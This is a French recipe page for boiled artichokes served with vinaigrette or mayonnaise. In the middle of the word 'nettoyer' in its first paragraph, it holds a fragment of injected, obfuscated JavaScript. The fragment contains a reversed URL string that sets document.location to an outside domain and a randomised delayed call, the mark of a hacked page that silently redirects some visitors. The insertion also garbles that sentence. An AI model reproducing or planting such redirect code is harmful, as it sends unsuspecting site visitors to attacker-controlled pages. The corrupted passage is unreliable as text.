Artichauts au naturel

2021-02-10

Coupez l’extrémité des feuilles, faites couler de l’eau entre les feuilles pour les nettobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toyer, puis les plonger dans de l’eau bouillante salée. Le fond en bas, faites les cuire pendant 45 minutes de cuisson.

Ingrédients

  • 1 a 2 artichauts par personne
  • une sauce vinaigrette

Préparation de la recette

Etape 1

Coupez l’extrémité des feuilles, faites couler de l’eau entre les feuilles pour les nettoyer, puis les plonger dans de l’eau bouillante salée. Le fond en bas, faites les cuire pendant 45 minutes de cuisson.

Etape 2

Vérifiez la cuisson. Les artichauts cuits. Égouttez. Retirez toutes les feuilles et le foin. Accompagnez d’une vinaigrette. L’artichaut froid peut être dégusté avec une mayonnaise.

Catégories : Ingrédients principaux :
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